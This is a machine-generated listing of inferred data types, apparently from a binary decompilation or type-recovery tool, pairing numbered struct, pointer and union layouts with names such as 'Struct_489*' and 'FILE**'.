304 ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(struct(0:ptr(struct(4:num32_t,48:ptr(ptr(TOP)))),4:code_t)),404:reg32_t,432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)) "Struct_489*"
305 union(ptr(num8_t),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP)))) "Union_36"
306 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP))))) "Union_37"
307 ptr(struct(0:ptr(TOP),4:ptr(TOP))) "Struct_191*"
308 ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),40:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),44:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))))) "Struct_730*"
309 ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t),20:ptr(reg16_t))) "Struct_731*"
310 ptr(struct(0:array(reg8_t,18776),18776:array(reg8_t,18780))) "StructFrag_436*"
311 union(ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:array(reg8_t,18776),18776:array(reg8_t,18780)))) "Union_166"
312 union(ptr(ptr(reg32_t)),ptr(ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))) "Union_167"
313 ptr(struct(0:array(reg8_t,144),144:ptr(ptr(struct(4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:ptr(TOP),28:reg32_t,32:reg32_t,44:reg32_t))))) "StructFrag_98*"
314 ptr(struct(196:reg32_t,400:ptr(struct(0:array(reg8_t,56),56:reg32_t)),488:reg32_t,496:reg32_t,500:reg32_t,640:reg32_t)) "Struct_547*"
315 union(ptr(ptr(struct(4:code_t,8:code_t,24:code_t,28:code_t))),ptr(ptr(struct(20:code_t,28:code_t,32:code_t)))) "Union_59"
316 ptr(struct(196:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),400:ptr(struct(0:ptr(struct(196:ptr(TOP),204:ptr(array(reg8_t,41)),276:ptr(array(reg8_t,32)),308:reg32_t,396:ptr(ptr(TOP)),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)),4:num32_t,20:reg32_t,44:num32_t)),492:reg32_t,504:reg32_t)) "Struct_483*"
317 ptr(struct(0:array(reg8_t,200),200:reg32_t)) "StructFrag_99*"
318 ptr(struct(0:array(reg8_t,204),204:reg32_t)) "StructFrag_100*"
319 ptr(struct(0:ptr(TOP),4:reg32_t)) "Struct_197*"
320 union(ptr(num8_t),num32_t) "Union_2"
321 ptr(struct(0:array(reg8_t,816),816:reg32_t)) "StructFrag_103*"
13 ptr(ptr(num8_t)) "char[]*"
322 ptr(struct(196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),264:reg32_t,316:ptr(struct(0:ptr(struct(0:array(reg8_t,233464),233464:reg32_t)),4:ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)))),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),496:reg32_t)) "Struct_200*"
323 ptr(struct(0:reg64_t,8:code_t)) "StructFrag_47*"
324 ptr(struct(196:ptr(ptr(struct(0:reg64_t,8:code_t))),396:ptr(ptr(struct(36:reg32_t,48:ptr(ptr(array(reg8_t,28)))))),448:ptr(struct(0:reg64_t,8:code_t)),452:reg32_t,456:reg32_t,496:reg32_t,500:reg32_t,10440:reg32_t,10444:reg32_t,10448:reg32_t,10452:reg32_t)) "Struct_492*"
325 ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))) "Struct_43*"
326 ptr(struct(396:ptr(ptr(struct(36:reg32_t,48:ptr(ptr(array(reg8_t,28)))))),496:reg32_t)) "Struct_202*"
327 ptr(struct(0:num8_t,196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:reg32_t,308:ptr(TOP),376:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),432:ptr(TOP),436:reg32_t,440:reg32_t,444:reg32_t,496:reg32_t,508:reg32_t)) "Struct_455*"
328 ptr(array(reg8_t,67)) "unknown_536*"
329 ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))))) "Struct_402*"
330 union(ptr(ptr(reg32_t)),ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP)))))))) "Union_63"
331 ptr(struct(0:ptr(struct(0:array(reg8_t,3432),3432:num8_t)),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)) "Struct_384*"
332 ptr(struct(0:array(reg8_t,3432),3432:num8_t)) "StructFrag_95*"
333 ptr(struct(0:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,56:reg32_t)) "Struct_463*"
334 ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),4:code_t)))) "Struct_204*"
335 ptr(struct(0:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),4:code_t)) "Struct_5*"
336 ptr(struct(0:ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(array(reg8_t,32)),4:code_t)))),4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)) "Struct_365*"
337 array(reg8_t,268) "unknown_2144"
338 array(reg8_t,7904) "unknown_63232"
339 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(struct(0:ptr(TOP),4:code_t))) "Union_89"
340 union(ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))) "Union_90"
341 union(code_t,ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))) "Union_91"
342 union(ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(ptr(struct(0:reg64_t,8:code_t)))) "Union_73"
343 ptr(array(reg8_t,30)) "unknown_240*"
344 ptr(struct(196:ptr(ptr(TOP)),396:ptr(struct(0:ptr(struct(24:reg32_t,28:ptr(TOP))),4:code_t)),492:reg32_t)) "Struct_431*"
345 ptr(struct(0:union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(4:code_t,8:code_t))),24:code_t)) "Struct_437*"
346 union(ptr(struct(0:array(reg8_t,24),24:code_t)),ptr(struct(0:union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(4:code_t,8:code_t))),24:code_t))) "Union_76"
347 ptr(struct(376:reg32_t,396:ptr(struct(0:ptr(TOP),4:code_t)))) "Struct_438*"
348 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(struct(0:ptr(TOP),4:code_t))) "Union_77"
349 union(ptr(ptr(struct(0:array(reg8_t,24),24:code_t))),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))) "Union_78"
350 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t)))))) "Union_79"
351 ptr(struct(400:reg32_t,640:code_t)) "Struct_224*"
352 ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:ptr(TOP),308:ptr(TOP),388:ptr(TOP),392:ptr(TOP),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),400:reg32_t,420:reg32_t,424:reg32_t,432:union(ptr(ptr(TOP)),ptr(TOP)),436:ptr(TOP),440:ptr(TOP),444:reg32_t,496:ptr(TOP),508:ptr(TOP),4032:reg32_t)) "Struct_466*"
353 ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:ptr(TOP),308:ptr(TOP),364:ptr(TOP),376:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),400:reg32_t,420:reg32_t,428:reg32_t,432:union(ptr(ptr(TOP)),ptr(TOP)),436:ptr(TOP),440:ptr(TOP),444:reg32_t,488:reg32_t,496:ptr(TOP),508:ptr(TOP),10452:reg32_t)) "Struct_467*"
354 ptr(struct(0:array(reg8_t,264),264:reg32_t)) "StructFrag_120*"
355 ptr(array(reg8_t,22)) "unknown_176*"
356 union(ptr(struct(0:reg32_t,16:ptr(TOP),24:reg32_t,40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP)))) "Union_23"
357 union(ptr(ptr(reg32_t)),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP))))) "Union_24"
358 ptr(struct(0:ptr(struct(4:code_t,12:code_t,44:code_t,48:union(ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),ptr(ptr(reg8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(TOP)))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(TOP)),416:ptr(ptr(TOP))))))),4:reg32_t)) "Struct_334*"
359 ptr(union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))))) "Union_22*"
360 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),uint32_t,ptr(num8_t),ptr(ptr(reg16_t)),uint32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_68"
361 ptr(struct(0:reg32_t,8:num32_t,20:num32_t,24:ptr(TOP))) "Struct_413*"
362 ptr(array(reg8_t,46)) "unknown_368*"
363 union(ptr(num8_t),ptr(struct(0:reg16_t,2:num8_t))) "Union_69"
364 union(ptr(struct(0:reg64_t,8:num32_t)),ptr(struct(0:reg32_t,8:num32_t,20:num32_t,24:ptr(TOP)))) "Union_70"
365 ptr(struct(0:array(reg8_t,15856),15856:num8_t)) "StructFrag_123*"
366 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,15856),15856:num8_t))) "Union_18"
367 ptr(struct(0:array(reg8_t,18776),18776:ptr(TOP))) "StructFrag_127*"
368 ptr(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)))) "FILE**"
369 ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))) "Struct_58*"
370 ptr(array(reg8_t,63)) "unknown_504*"
371 ptr(ptr(struct(8:code_t,12:code_t))) "Struct_494**"
372 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(reg32_t),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:array(reg8_t,18776),18776:ptr(TOP))),ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:ptr(TOP),308:ptr(TOP),364:ptr(TOP),376:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP))))),400:reg32_t,420:reg32_t,428:reg32_t,432:union(ptr(ptr(TOP)),ptr(TOP)),436:ptr(TOP),440:ptr(TOP),444:reg32_t,488:reg32_t,496:ptr(TOP),508:ptr(TOP),10452:reg32_t)),ptr(struct(196:ptr(ptr(struct(0:reg64_t,8:code_t))),396:ptr(ptr(struct(36:reg32_t,48:ptr(ptr(TOP))))),448:ptr(struct(0:reg64_t,8:code_t)),452:reg32_t,456:reg32_t,496:reg32_t,500:reg32_t,10440:reg32_t,10444:reg32_t,10448:reg32_t,10452:reg32_t))) "Union_98"
373 ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),496:reg32_t,508:reg32_t)) "Struct_252*"
374 ptr(struct(0:array(reg8_t,12),12:num32_t)) "StructFrag_130*"
375 ptr(struct(0:num8_t,196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:reg32_t,308:ptr(TOP),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(array(reg8_t,28)))))),432:ptr(TOP),436:reg32_t,440:reg32_t,444:reg32_t,488:reg32_t,496:reg32_t,508:reg32_t)) "Struct_469*"
376 union(ptr(num8_t),ptr(struct(0:num8_t,196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:reg32_t,308:ptr(TOP),396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP))))),432:ptr(TOP),436:reg32_t,440:reg32_t,444:reg32_t,488:reg32_t,496:reg32_t,508:reg32_t))) "Union_93"
166 ptr(code_t) "(dword,dword,dword,dword,dword,dword,dword,dword -> dword)**"
377 ptr(struct(0:array(reg8_t,532),532:reg32_t)) "StructFrag_128*"
378 ptr(ptr(struct(0:array(reg8_t,18776),18776:reg32_t))) "StructFrag_180**"
379 ptr(struct(0:array(reg8_t,52),52:reg32_t)) "StructFrag_256*"
380 ptr(struct(0:array(reg8_t,980),980:reg32_t)) "StructFrag_259*"
381 ptr(struct(0:array(reg8_t,1012),1012:reg32_t)) "StructFrag_263*"
382 ptr(struct(0:array(reg8_t,960),960:code_t)) "StructFrag_134*"
383 ptr(struct(0:array(reg8_t,964),964:code_t)) "StructFrag_119*"
108 ptr(uint32_t) "unsigned int[]"
384 ptr(struct(960:ptr(array(reg8_t,38)),964:ptr(array(reg8_t,48)),1000:reg32_t,1004:reg32_t)) "Struct_265*"
385 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(ptr(reg16_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),32:ptr(TOP)))) "Union_218"
386 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:reg32_t,4:reg16_t))) "Union_134"
387 ptr(struct(0:reg32_t,4:reg16_t)) "StructFrag_278*"
388 union(num32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t)))) "Union_129"
389 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(ptr(reg16_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:ptr(TOP),4:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:ptr(TOP)))) "Union_156"
390 union(int32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t)))) "Union_139"
391 ptr(struct(0:reg32_t,4:num8_t)) "StructFrag_147*"
24 ptr(uint16_t) "unsigned short*"
392 ptr(struct(0:ptr(TOP),4:num32_t)) "Struct_658*"
393 union(ptr(num8_t),ptr(reg32_t),ptr(uint32_t)) "Union_143"
394 union(ptr(num8_t),ptr(reg32_t)) "Union_142"
395 ptr(struct(0:array(reg8_t,128),128:reg32_t)) "StructFrag_105*"
396 ptr(struct(0:array(reg8_t,25),25:num8_t)) "StructFrag_106*"
397 array(reg8_t,127) "unknown_1016"
398 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(reg32_t)) "Union_157"
399 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:ptr(TOP))) "Struct_65*"
400 ptr(struct(0:ptr(TOP),4:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:ptr(TOP))) "Struct_639*"
401 ptr(struct(0:ptr(reg16_t),8:ptr(reg16_t))) "Struct_60*"
402 union(ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t)))) "Union_158"
403 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP))) "Struct_276*"
404 ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t))) "Struct_277*"
405 ptr(array(reg8_t,12)) "unknown_96*"
406 array(reg8_t,19) "unknown_152"
407 ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t))) "Struct_278*"
408 ptr(struct(0:array(reg8_t,16),16:ptr(reg16_t))) "StructFrag_111*"
409 ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))) "Struct_642*"
410 array(reg8_t,64) "unknown_512"
411 ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),16:ptr(reg16_t))) "Struct_279*"
412 union(ptr(struct(0:reg32_t,4:reg32_t,8:ptr(reg16_t))),ptr(struct(8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),32:ptr(TOP)))) "Union_132"
413 ptr(ptr(reg16_t)) "word**"
414 array(reg8_t,7) "unknown_56"
415 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:ptr(reg16_t),32:ptr(TOP))) "Struct_231*"
416 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t),20:ptr(reg16_t),32:ptr(reg16_t))) "Struct_632*"
417 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_131"
418 union(ptr(ptr(TOP)),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_130"
419 ptr(struct(8:ptr(reg16_t),32:ptr(num8_t))) "Struct_226*"
420 union(ptr(num8_t),ptr(TOP),ptr(struct(0:array(reg8_t,15),15:num8_t))) "Union_160"
421 union(ptr(num8_t),ptr(struct(0:array(reg8_t,15),15:num8_t))) "Union_128"
422 ptr(struct(0:code_t,20:code_t,48:ptr(num8_t))) "Struct_609*"
423 array(reg8_t,6) "unknown_48"
424 ptr(array(reg8_t,16)) "unknown_128*"
425 ptr(struct(0:code_t,48:reg32_t)) "Struct_687*"
426 array(reg8_t,17) "unknown_136"
427 ptr(struct(0:num8_t,12:code_t,16:code_t,48:ptr(num8_t))) "Struct_346*"
428 ptr(array(reg8_t,54)) "unknown_432*"
429 ptr(struct(0:array(reg8_t,32),32:ptr(reg16_t))) "StructFrag_113*"
430 ptr(struct(4:reg32_t,8:ptr(reg16_t),12:ptr(reg16_t))) "Struct_227*"
431 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(num8_t),ptr(ptr(reg16_t)),ptr(struct(0:reg64_t,8:ptr(reg16_t))),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t)))) "Union_136"
432 ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t),20:ptr(reg16_t),24:ptr(reg16_t),28:ptr(reg16_t))) "Struct_637*"
433 ptr(struct(8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),32:ptr(TOP))) "Struct_230*"
434 union(ptr(struct(0:reg64_t,8:ptr(reg16_t))),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t)))) "Union_135"
435 ptr(struct(16:ptr(reg16_t),20:ptr(reg16_t),24:ptr(reg16_t),28:ptr(reg16_t))) "Struct_652*"
436 ptr(struct(0:array(reg8_t,416),416:uint32_t)) "StructFrag_292*"
437 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:array(reg8_t,15),15:num8_t))) "Union_187"
438 union(ptr(num8_t),ptr(struct(0:array(reg8_t,90),90:num8_t))) "Union_188"
439 union(ptr(ptr(TOP)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t))) "Union_161"
440 union(num32_t,ptr(struct(0:reg16_t,2:num8_t))) "Union_189"
441 ptr(struct(0:ptr(struct(0:num8_t,229376:num32_t,233464:union(num32_t,ptr(struct(0:reg16_t,2:num8_t))))),8:code_t,12:code_t)) "Struct_768*"
